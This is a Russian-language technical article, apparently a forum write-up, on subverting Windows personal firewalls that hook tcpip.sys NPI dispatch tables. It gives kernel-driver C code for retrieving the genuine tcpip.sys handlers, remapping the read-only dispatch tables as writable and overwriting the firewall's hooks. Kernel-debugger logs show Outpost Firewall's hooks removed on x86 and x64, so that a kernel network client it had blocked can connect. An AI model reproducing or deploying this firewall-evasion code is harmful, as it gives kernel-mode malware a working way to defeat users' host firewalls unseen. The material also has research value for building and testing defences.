Данная структура описывает т.н. «конечное подключение» к определенной сущности внутри tcpip.sys. Вызовы к данным «сущностям» похожи во многом на вызовы BSD sockets, и каждому отводится собственный набор обработчиков. Чтобы использовать определенный модуль tcpip.sys, мы должны получить указатель на таблицу со списком его обработчиков. Самый первый член структуры TL_ENDPOINT_DATA – указатель на callback функцию, которая вызывается в том случае, если наш вызов был успешно зарегистрирован. В таком случае tcpip.sys создает внутреннюю структуру, в которую копирует часть данных из TL_ENDPOINT_DATA и передает указатель на нее вместе с указателем на таблицу диспетчеризации этого модуля. Судя по всему, данный возвращаемый указатель следует интерпретировать лишь как безликий HANDLE, передавая его в качестве такового последующим обработчикам. Упомянутая callback функция имеет следующий прототип:

Код (Text):
  1.  
  2. typedef NTSTATUS (NTAPI* GET_DISPATCH) (
  3.     __in PVOID      Context,
  4.     __in NTSTATUS   Status,
  5.     __in PVOID      Endpoint,
  6.     __in PVOID      DispatchTable
  7. );

В параметре Context передается значение, указанное во втором члене структуры – GetDispatchContext, что очень удобно при возврате каких-либо данных. Указатель DispatchTable и есть ожидаемый указатель на таблицу диспетчеризации. Указатель Endpoint – это указатель на упомянутую выше внутреннюю структуру, которую выделяет и заполняет tcpip.sys, мы должны хранить этот указатель до момента разрыва связи. В результате исследования стало ясно, что следующие поля обязательны к заполнению:

  • Поле Family должно содержать одно из значений AF_XXX для успешного запуска обработчика TL_PROVIDER_DISPATCH.Endpoint
  • Поле Process должно указывать на EPROCESS клиентского процесса
  • Поле Thread должно указывать на ETHREAD клиентского потока
  • Поле Addr1 должно указывать на валидную структуру SOCKADDR_IN с корректным значением поля sin_family при вызовах TL_PROVIDER_DISPATCH.Listen и TL_PROVIDER_DISPATCH.Connect
  • Поле Addr2 должно указывать на валидную структуру SOCKADDR_IN с корректными значениями полей sin_family и sin_port (не ноль) при вызовах TL_PROVIDER_DISPATCH.Connect

Опытным путем установлено, что при Family=AF_INET, и с Process и Thread, указывающими на текущий процесс и поток, все замечательно работает. Остальные поля могут быть равны нулю, чем мы и воспользуемся при регистрации подключения. Строго говоря, желательно пройти путь реверса от начала до конца, чтобы на 100% быть уверенными в том, что все поля структуры верны. Особо дотошные непременно это осуществят, а нам хватит и того, что есть.

Для примера рассмотрим получение указателей на структуры XxxTlProviderEndpointDispatch функцией GetEndpointDispatches():

Код (Text):
  1.  
  2. static
  3. NTSTATUS
  4.   GetEndpointDispatches(
  5.     __inout PTL_DISPATCH_TABLES Dispatches
  6.     )
  7. {
  8.     PROVIDER_DISPATCH_UNK1  DispatchUnk1 = {0};
  9.     TL_ENDPOINT_DATA        EndpointData = {0};
  10.     GET_DISPATCH_CONTEXT    GetDispatchContext = {0};
  11.     NTSTATUS                Status = STATUS_UNSUCCESSFUL;

Заполняем необходимые поля структуры TL_ENDPOINT_DATA:

Код (Text):
  1.  
  2.     EndpointData.GetDispatch        = GetDispatchCallback;
  3.     EndpointData.GetDispatchContext = &amp;GetDispatchContext;
  4.     EndpointData.Family             = AF_INET;
  5.     EndpointData.Process            = PsGetCurrentProcess();
  6.     EndpointData.Thread             = PsGetCurrentThread();
  7.  
  8.     GetDispatchContext.DispatchTable = &amp;Dispatches->TcpTlProviderEndpointDispatch;
  9.     GetDispatchContext.Endpoint = NULL;
  10.     Dispatches->TcpTlProviderEndpointDispatch = NULL;

Callback представляет собой очень простую функцию:

Код (Text):
  1.  
  2. static
  3. NTSTATUS
  4. NTAPI
  5.   GetDispatchCallback(
  6.     __in PGET_DISPATCH_CONTEXT  Context,
  7.     __in NTSTATUS               Status,
  8.     __in PVOID                  Endpoint,
  9.     __in PVOID                  DispatchTable
  10. )
  11. {
  12.     if (!Context || !Context->DispatchTable)
  13.         return STATUS_INVALID_PARAMETER;
  14.  
  15.     Context->Endpoint = Endpoint;
  16.     *Context->DispatchTable = DispatchTable;
  17.  
  18.     return STATUS_SUCCESS;
  19. }

Регистрируем подключение:

Код (Text):
  1.  
  2.     Status = Dispatches->RealTcpTlProviderDispatch.Endpoint(&amp;DispatchUnk1, &amp;EndpointData);
  3.     if (!NT_SUCCESS(Status)) {
  4.         KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->Endpoint() failed with status 0x%08X\n", Status));
  5.         return Status;
  6.     }

После успешной регистрации подключения необходимо вызвать функцию разрыва связи, чтобы tcpip.sys мог освободить всю занятую им память (проблема не только в памяти, в случае неразрыва связи, в памяти останется висеть ETHREAD, указатель на который мы поместили в поле Thread). Видно, что для опроса tcpip.sys используется настоящий обработчик tcpip.sys, который был получен ранее. Этим мы избегаем фаерволлов, которые предпочтут выдавать указатель на свою таблицу со своими обработчиками. Отключаемся от tcpip.sys:

Код (Text):
  1.  
  2.     if (GetDispatchContext.Endpoint) {
  3.         Status = Dispatches->TcpTlProviderEndpointDispatch->CloseEndpoint(GetDispatchContext.Endpoint, NULL);
  4.         if (!NT_SUCCESS(Status)) {
  5.             KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->CloseEndpoint() failed with status 0x%08X\n", Status));
  6.         }
  7.     }

Как уже стало заметно, сохраненный идентификатор подключения Endpoint передается первым параметром обработчику CloseEndpoint(), так производится корректный разрыв связи с «конечной точкой» подключения. Аналогичная операция производится для UdpTlProviderDispatch и RawTlProviderDispatch таблиц. При получении указателей на TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch все происходит в той же очередности, разве что еще указываются необходимые Addr1 и Addr2 в соответствии требованиям, приведенным выше.

После того, как все указатели на таблицы внутри tcpip.sys, а также настоящие обработчики этих таблиц будут получены, можно приступать к их восстановлению. Другой вариант – полный реверс tcpip.sys, детальное понимание принципов работы интерфейса и написание собственного клиента, который будет иметь возможность работы с сетью в обход NPI фаерволлов. Мы же пойдем по пути меньшего сопротивления и просто восстановим все XxxTlProviderXxxDispatch таблицы. Данной работой занимается вторая часть кода.

Снятие NPI перехватов

Код восстановления XxxTlProviderXxxDispatch таблиц располагается в функции UnhookNPI() и разбит на 4 этапа:

  1. Восстановление обработчиков из XxxTlProviderDispatch таблиц
  2. Восстановление обработчиков из XxxTlProviderEndpointDispatch таблиц
  3. Восстановление обработчиков из TcpTlProviderListenDispatch и TcpTlProviderConnectDispatch таблиц
  4. Восстановление обработчиков из UdpTlProviderMessageDispatch и RawTlProviderMessageDispatch таблиц
Всю работу по восстановлению таблиц берет на себя функция RestoreTcpipDispatchTable():

Код (Text):
  1.  
  2. static
  3. NTSTATUS
  4.   RestoreTcpipDispatchTable(
  5.     __in  PMEMORY_CHUNK     OriginalTcpip,
  6.     __in  PVOID*            OriginalDispatchTable,
  7.     __in  PVOID*            RealDispatchTable,
  8.     __in  ULONG             DispatchTableSize
  9.   )

Функции передается описатель действующего модуля tcpip.sys, указатель на очередную таблицу, указатель на таблицу с настоящими обработчиками (указывающими в tcpip.sys) и размер данной таблицы. Сперва функция удостоверивается в том, что переданный указатель на таблицу действительно принадлежит tcpip.sys:

Код (Text):
  1.  
  2.     if ((ULONG_PTR)OriginalDispatchTable < (ULONG_PTR)OriginalTcpip->Buffer ||
  3.         (ULONG_PTR)OriginalDispatchTable + DispatchTableSize > (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size)
  4.     {
  5.         KdPrint(("RestoreTcpipDispatchTable(): Dispatch table %p is out of tcpip.sys' range %p..%p\n",
  6.             OriginalDispatchTable, OriginalTcpip->Buffer, (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size));
  7.         return STATUS_UNSUCCESSFUL;
  8.     }

Если таблица не перехвачена, то ничего и делать не нужно:

Код (Text):
  1.  
  2.     if (!memcmp(OriginalDispatchTable, RealDispatchTable, DispatchTableSize))
  3.         return STATUS_SUCCESS;

В противном случае мы проецируем указанный кусок памяти по другому адресу, разрешая запись в эту память:

Код (Text):
  1.  
  2.     PMDL        OriginalDispatchTableMdl = NULL;
  3.     PVOID*      MappedOriginalDispatchTable = NULL;
  4.     OriginalDispatchTableMdl = IoAllocateMdl(OriginalDispatchTable, DispatchTableSize, FALSE, FALSE, NULL);
  5.     if (!OriginalDispatchTableMdl)
  6.         return STATUS_INSUFFICIENT_RESOURCES;
  7.  
  8.     // Going to have write access to the read only memory of tcpip.sys' .rdata section
  9.  
  10.     __try {
  11.         MmProbeAndLockPages(OriginalDispatchTableMdl, KernelMode, IoWriteAccess);
  12.     }
  13.     __except (EXCEPTION_EXECUTE_HANDLER) {
  14.         IoFreeMdl(OriginalDispatchTableMdl);
  15.         return STATUS_ACCESS_VIOLATION;
  16.     }
  17.  
  18.     MappedOriginalDispatchTable = MmMapLockedPagesSpecifyCache(
  19.         OriginalDispatchTableMdl, KernelMode, MmNonCached, NULL, FALSE, HighPagePriority);
  20.     if (!MappedOriginalDispatchTable) {
  21.         MmUnlockPages(OriginalDispatchTableMdl);
  22.         IoFreeMdl(OriginalDispatchTableMdl);
  23.         return STATUS_UNSUCCESSFUL;
  24.     }

Восстановление таблицы производится вызовом одной функции:

RtlCopyMemory(MappedOriginalDispatchTable, RealDispatchTable, DispatchTableSize);

Пример использования функции не заставит себя долго ждать:

Код (Text):
  1.  
  2. static
  3. NTSTATUS
  4.   UnhookXxxTlProviderDispatch(
  5.     __in PTL_DISPATCH_TABLES    Dispatches,
  6.     __in PMEMORY_CHUNK          OriginalTcpip
  7.   )
  8. {
  9.     Status = RestoreTcpipDispatchTable(
  10.         OriginalTcpip,
  11.         (PVOID*)Dispatches->TcpTlProviderDispatch,
  12.         (PVOID*)&amp;Dispatches->RealTcpTlProviderDispatch,
  13.         sizeof(TL_PROVIDER_DISPATCH));
  14.     if (!NT_SUCCESS(Status)) {
  15.         KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(TcpTlProviderDispatch) failed with status 0x%08X\n",
  16.             Status));
  17.         return Status;
  18.     }
  19.  
  20.     Status = RestoreTcpipDispatchTable(
  21.         OriginalTcpip,
  22.         (PVOID*)Dispatches->UdpTlProviderDispatch,
  23.         (PVOID*)&amp;Dispatches->RealUdpTlProviderDispatch,
  24.         sizeof(TL_PROVIDER_DISPATCH));
  25.     if (!NT_SUCCESS(Status)) {
  26.         KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(UdpTlProviderDispatch) failed with status 0x%08X\n",
  27.             Status));
  28.         return Status;
  29.     }

Восстановление обработчиков завершено, NPI фаерволл повержен. Удостоверимся в этом на том же Outpost firewall Pro 2009 (v6.5, x86), запустив npisubvert.sys:

Код (Text):
  1.  
  2. kd> g
  3. TCPIP.SYS image region:        0x8819F000..0x88270000
  4.  
  5. TcpTlProviderDispatch:         0x8824A8FC
  6.     IoControl:                 0x88220C52 (0x88220C52 real)
  7.     QueryDispatch:             0x8822A004 (0x8822A004 real)
  8.     Endpoint:                  0x8BA86AA4 (0x881DB212 real) HOOKED by afwcore.sys
  9.     Message:                   0x88229FF9 (0x88229FF9 real)
  10.     Listen:                    0x8BA86D86 (0x881C9E59 real) HOOKED by afwcore.sys
  11.     ReleaseIndicationList:     0x8BA83B60 (0x881DFCC4 real) HOOKED by afwcore.sys
  12.     Cancel:                    0x8BA86208 (0x881C979B real) HOOKED by afwcore.sys
  13.  
  14. TcpTlProviderEndpointDispatch: 0x8824A91C
  15.     CloseEndpoint:             0x8BA85BC4 (0x881DBD38 real) HOOKED by afwcore.sys
  16.     IoControlEndpoint:         0x8BA85CA4 (0x881DB5E2 real) HOOKED by afwcore.sys
  17.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  18.  
  19. TcpTlProviderConnectDispatch:  0x8824A938
  20.     CloseEndpoint:             0x8BA859E8 (0x881E4543 real) HOOKED by afwcore.sys
  21.     IoControlEndpoint:         0x881E01ED (0x881E01ED real)
  22.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  23.     Send:                      0x8BA83E5C (0x8820E188 real) HOOKED by afwcore.sys
  24.     Receive:                   0x8BA84E5A (0x881D2258 real) HOOKED by afwcore.sys
  25.     Disconnect:                0x8BA841DA (0x881E4886 real) HOOKED by afwcore.sys
  26.  
  27. TcpTlProviderListenDispatch:   0x8824A928
  28.     CloseEndpoint:             0x8BA86012 (0x881C5C44 real) HOOKED by afwcore.sys
  29.     IoControlEndpoint:         0x881B11A6 (0x881B11A6 real)
  30.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  31.     ResumeConnection:          0x88220C42 (0x88220C42 real)
  32.  
  33. UdpTlProviderDispatch:         0x8824ACE4
  34.     IoControl:                 0x88228C0B (0x88228C0B real)
  35.     QueryDispatch:             0x8822A004 (0x8822A004 real)
  36.     Endpoint:                  0x8BA87EF2 (0x881D0152 real) HOOKED by afwcore.sys
  37.     Message:                   0x8BA87CC2 (0x881D06DE real) HOOKED by afwcore.sys
  38.     Listen:                    0x8822A093 (0x8822A093 real)
  39.     ReleaseIndicationList:     0x88228BF0 (0x88228BF0 real)
  40.     Cancel:                    0x8822A07D (0x8822A07D real)
  41.  
  42. UdpTlProviderEndpointDispatch: 0x8824AD04
  43.     CloseEndpoint:             0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys
  44.     IoControlEndpoint:         0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys
  45.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  46.  
  47. UdpTlProviderMessageDispatch:  0x8824AD10
  48.     CloseEndpoint:             0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys
  49.     IoControlEndpoint:         0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys
  50.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  51.     SendMessages:              0x8BA87132 (0x881EF50F real) HOOKED by afwcore.sys
  52.  
  53. RawTlProviderDispatch:         0x8824AE58
  54.     IoControl:                 0x8822A09E (0x8822A09E real)
  55.     QueryDispatch:             0x8822A004 (0x8822A004 real)
  56.     Endpoint:                  0x8BA88782 (0x881BCBB0 real) HOOKED by afwcore.sys
  57.     Message:                   0x8BA8863E (0x881BC615 real) HOOKED by afwcore.sys
  58.     Listen:                    0x8822A093 (0x8822A093 real)
  59.     ReleaseIndicationList:     0x88228BF0 (0x88228BF0 real)
  60.     Cancel:                    0x8822A07D (0x8822A07D real)
  61.  
  62. RawTlProviderEndpointDispatch: 0x8824AE78
  63.     CloseEndpoint:             0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys
  64.     IoControlEndpoint:         0x881BC1D6 (0x881BC1D6 real)
  65.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  66.  
  67. RawTlProviderMessageDispatch:  0x8824AE84
  68.     CloseEndpoint:             0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys
  69.     IoControlEndpoint:         0x881BC1D6 (0x881BC1D6 real)
  70.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  71.     SendMessages:              0x88229350 (0x88229350 real)
  72.  
  73. The NPI hooks have been cleaned successfully

Удостоверимся в снятых перехватах:

Код (Text):
  1.  
  2. kd> dd TcpTlProviderDispatch
  3. 8824a8fc  88220c52 8822a004 881db212 88229ff9
  4. 8824a90c  881c9e59 881ddf90 881dfcc4 881c979b
  5.  
  6. kd> u 88220c52
  7. tcpip!TcpTlProviderIoControl:
  8. 88220c52 8bff            mov     edi,edi
  9. 88220c54 55              push    ebp
  10. 88220c55 8bec            mov     ebp,esp
  11. 88220c57 8b450c          mov     eax,dword ptr [ebp+0Ch]
  12.  
  13. kd> u 881ddf90
  14. tcpip!TcpTlProviderConnect:
  15. 881ddf90 8bff            mov     edi,edi
  16. 881ddf92 55              push    ebp
  17. 881ddf93 8bec            mov     ebp,esp
  18. 881ddf95 5d              pop     ebp
  19. 881ddf96 e97cedffff      jmp     tcpip!TcpCreateAndConnectTcb (881dcd17)

Ждем кое-какое время и пробуем вновь (вдруг он следит за перехватами?):

Код (Text):
  1.  
  2. TCPIP.SYS image region:        0x8819F000..0x88270000
  3.  
  4. TcpTlProviderDispatch:         0x8824A8FC
  5.     IoControl:                 0x88220C52 (0x88220C52 real)
  6.     QueryDispatch:             0x8822A004 (0x8822A004 real)
  7.     Endpoint:                  0x881DB212 (0x881DB212 real)
  8.     Message:                   0x88229FF9 (0x88229FF9 real)
  9.     Listen:                    0x881C9E59 (0x881C9E59 real)
  10.     ReleaseIndicationList:     0x881DFCC4 (0x881DFCC4 real)
  11.     Cancel:                    0x881C979B (0x881C979B real)
  12.  
  13. TcpTlProviderEndpointDispatch: 0x8824A91C
  14.     CloseEndpoint:             0x881DBD38 (0x881DBD38 real)
  15.     IoControlEndpoint:         0x881DB5E2 (0x881DB5E2 real)
  16.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  17.  
  18. TcpTlProviderConnectDispatch:  0x8824A938
  19.     CloseEndpoint:             0x881E4543 (0x881E4543 real)
  20.     IoControlEndpoint:         0x881E01ED (0x881E01ED real)
  21.     QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real)
  22.     Send:                      0x8820E188 (0x8820E188 real)

Пробуем на x64 версии (Outpost Firewall Pro 2008 v6.0). Предварительные пробы:

Код (Text):
  1.  
  2. kd> dq TcpTlProviderConnectDispatch
  3. fffffa60`00f83278  fffffa60`026e2a9c fffffa60`00ec60e0
  4. fffffa60`00f83288  fffffa60`00ee23cc fffffa60`026e3d30
  5. fffffa60`00f83298  fffffa60`026e3ac4 fffffa60`026e4710
  6.  
  7. kd> u fffffa60`026e2a9c
  8. *** ERROR: Module load completed but symbols could not be loaded for afw.sys
  9. afw+0xda9c:
  10. fffffa60`026e2a9c 48895c2408      mov     qword ptr [rsp+8],rbx
  11. fffffa60`026e2aa1 55              push    rbp
  12. fffffa60`026e2aa2 56              push    rsi
  13. fffffa60`026e2aa3 57              push    rdi
  14. fffffa60`026e2aa4 4883ec50        sub     rsp,50h
  15. fffffa60`026e2aa8 488b0559e70200  mov     rax,qword ptr [afw+0x3c208 (fffffa60`02711208)]
  16. fffffa60`026e2aaf 488bf1          mov     rsi,rcx
  17. fffffa60`026e2ab2 bd010000c0      mov     ebp,0C0000001h
  18.  
  19. kd> u fffffa60`026e3d30
  20. afw+0xed30:
  21. fffffa60`026e3d30 48895c2408      mov     qword ptr [rsp+8],rbx
  22. fffffa60`026e3d35 48896c2410      mov     qword ptr [rsp+10h],rbp
  23. fffffa60`026e3d3a 4889742420      mov     qword ptr [rsp+20h],rsi
  24. fffffa60`026e3d3f 57              push    rdi
  25. fffffa60`026e3d40 4883ec50        sub     rsp,50h
  26. fffffa60`026e3d44 48833dd4d4020000 cmp     qword ptr [afw+0x3c220 (fffffa60`02711220)],0
  27. fffffa60`026e3d4c 488bfa          mov     rdi,rdx
  28. fffffa60`026e3d4f 488bd9          mov     rbx,rcx
  29.  
  30. kd> dq RawTlProviderMessageDispatch
  31. fffffa60`00f82e08  fffffa60`026e7d04 fffffa60`00e70000
  32. fffffa60`00f82e18  fffffa60`00ee23cc fffffa60`00e84860
  33.  
  34. kd> u fffffa60`026e7d04
  35. afw+0x12d04:
  36. fffffa60`026e7d04 48895c2408      mov     qword ptr [rsp+8],rbx
  37. fffffa60`026e7d09 48896c2410      mov     qword ptr [rsp+10h],rbp
  38. fffffa60`026e7d0e 56              push    rsi
  39. fffffa60`026e7d0f 57              push    rdi
  40. fffffa60`026e7d10 4154            push    r12
  41. fffffa60`026e7d12 4883ec20        sub     rsp,20h
  42. fffffa60`026e7d16 4c8bc1          mov     r8,rcx
  43. fffffa60`026e7d19 4c8bca          mov     r9,rdx

Запускаем npisubvert.sys:

Код (Text):
  1.  
  2. TCPIP.SYS image region:        0xFFFFFA6000E67000..0xFFFFFA6000FDB000
  3.  
  4. TcpTlProviderDispatch:         0xFFFFFA6000F83200
  5.     IoControl:                 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real)
  6.     QueryDispatch:             0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
  7.     Endpoint:                  0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys
  8.     Message:                   0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real)
  9.     Listen:                    0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys
  10.     ReleaseIndicationList:     0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys
  11.     Cancel:                    0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys
  12.  
  13. TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240
  14.     CloseEndpoint:             0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys
  15.     IoControlEndpoint:         0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys
  16.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  17.  
  18. TcpTlProviderConnectDispatch:  0xFFFFFA6000F83278
  19.     CloseEndpoint:             0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys
  20.     IoControlEndpoint:         0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real)
  21.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  22.     Send:                      0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys
  23.     Receive:                   0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys
  24.     Disconnect:                0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys
  25.  
  26. TcpTlProviderListenDispatch:   0xFFFFFA6000F83258
  27.     CloseEndpoint:             0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys
  28.     IoControlEndpoint:         0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real)
  29.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  30.     ResumeConnection:          0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real)
  31.  
  32. UdpTlProviderDispatch:         0xFFFFFA6000F82F70
  33.     IoControl:                 0xFFFFFA6000F2CC10 (0xFFFFFA6000F2CC10 real)
  34.     QueryDispatch:             0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
  35.     Endpoint:                  0xFFFFFA60026E6108 (0xFFFFFA6000ECC850 real) HOOKED by afw.sys
  36.     Message:                   0xFFFFFA60026E70EC (0xFFFFFA6000EC7D40 real) HOOKED by afw.sys
  37.     Listen:                    0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real)
  38.     ReleaseIndicationList:     0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real)
  39.     Cancel:                    0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real)
  40.  
  41. UdpTlProviderEndpointDispatch: 0xFFFFFA6000F82FB0
  42.     CloseEndpoint:             0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys
  43.     IoControlEndpoint:         0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys
  44.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  45.  
  46. UdpTlProviderMessageDispatch:  0xFFFFFA6000F82FC8
  47.     CloseEndpoint:             0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys
  48.     IoControlEndpoint:         0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys
  49.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  50.     SendMessages:              0xFFFFFA60026E68C0 (0xFFFFFA6000EACE60 real) HOOKED by afw.sys
  51.  
  52. RawTlProviderDispatch:         0xFFFFFA6000F82DB0
  53.     IoControl:                 0xFFFFFA6000EE23FC (0xFFFFFA6000EE23FC real)
  54.     QueryDispatch:             0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
  55.     Endpoint:                  0xFFFFFA60026E76FC (0xFFFFFA6000E6D190 real) HOOKED by afw.sys
  56.     Message:                   0xFFFFFA60026E7E4C (0xFFFFFA6000E6CFE0 real) HOOKED by afw.sys
  57.     Listen:                    0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real)
  58.     ReleaseIndicationList:     0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real)
  59.     Cancel:                    0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real)
  60.  
  61. RawTlProviderEndpointDispatch: 0xFFFFFA6000F82DF0
  62.     CloseEndpoint:             0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys
  63.     IoControlEndpoint:         0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real)
  64.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  65.  
  66. RawTlProviderMessageDispatch:  0xFFFFFA6000F82E08
  67.     CloseEndpoint:             0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys
  68.     IoControlEndpoint:         0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real)
  69.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  70.     SendMessages:              0xFFFFFA6000E84860 (0xFFFFFA6000E84860 real)

Перехватов больше быть не должно:

Код (Text):
  1.  
  2. kd> dq RawTlProviderMessageDispatch
  3. fffffa60`00f82e08  fffffa60`00f74170 fffffa60`00e70000
  4. fffffa60`00f82e18  fffffa60`00ee23cc fffffa60`00e84860
  5.  
  6. kd> u fffffa60`00f74170
  7. tcpip!RawTlProviderCloseEndpoint:
  8. fffffa60`00f74170 e99beaffff      jmp     tcpip!RawCloseEndpoint (fffffa60`00f72c10)
  9.  
  10. kd> dq TcpTlProviderConnectDispatch
  11. fffffa60`00f83278  fffffa60`00ec93e0 fffffa60`00ec60e0
  12. fffffa60`00f83288  fffffa60`00ee23cc fffffa60`00ed51a0
  13. fffffa60`00f83298  fffffa60`00ec0270 fffffa60`00ec8f40
  14.  
  15. kd> u fffffa60`00ec93e0
  16. tcpip!TcpTlConnectionCloseEndpoint:
  17. fffffa60`00ec93e0 4883ec28        sub     rsp,28h
  18. fffffa60`00ec93e4 e867ffffff      call    tcpip!TcpCloseTcb (fffffa60`00ec9350)
  19. fffffa60`00ec93e9 b803010000      mov     eax,103h
  20. fffffa60`00ec93ee 4883c428        add     rsp,28h
  21. fffffa60`00ec93f2 c3              ret

Перехватов как не бывало. Проведем еще эксперимент – запускаем wsksample.sys при активном Outpost. Сразу же показывается окно защиты с сообщением о том, что процесс System рвется в сеть. Блокируем его несколько раз, получаем следующие логи:

Код (Text):
  1.  
  2. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  3. MakeHttpRequest(): WskConnect() failed with status 0xC0000001
  4. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  5. MakeHttpRequest(): WskConnect() failed with status 0xC0000001
  6. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  7. MakeHttpRequest(): WskConnect() failed with status 0xC0000001

Не удивительно – уже говорилось о том, что NPI хукинг ловит WSK клиентов. Пробуем запустить npisubvert.sys:

Код (Text):
  1.  
  2. TCPIP.SYS image region:        0xFFFFFA6000E67000..0xFFFFFA6000FDB000
  3.  
  4. TcpTlProviderDispatch:         0xFFFFFA6000F83200
  5.     IoControl:                 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real)
  6.     QueryDispatch:             0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
  7.     Endpoint:                  0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys
  8.     Message:                   0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real)
  9.     Listen:                    0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys
  10.     ReleaseIndicationList:     0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys
  11.     Cancel:                    0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys
  12.  
  13. TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240
  14.     CloseEndpoint:             0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys
  15.     IoControlEndpoint:         0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys
  16.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  17.  
  18. TcpTlProviderConnectDispatch:  0xFFFFFA6000F83278
  19.     CloseEndpoint:             0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys
  20.     IoControlEndpoint:         0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real)
  21.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  22.     Send:                      0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys
  23.     Receive:                   0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys
  24.     Disconnect:                0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys
  25.  
  26. TcpTlProviderListenDispatch:   0xFFFFFA6000F83258
  27.     CloseEndpoint:             0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys
  28.     IoControlEndpoint:         0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real)
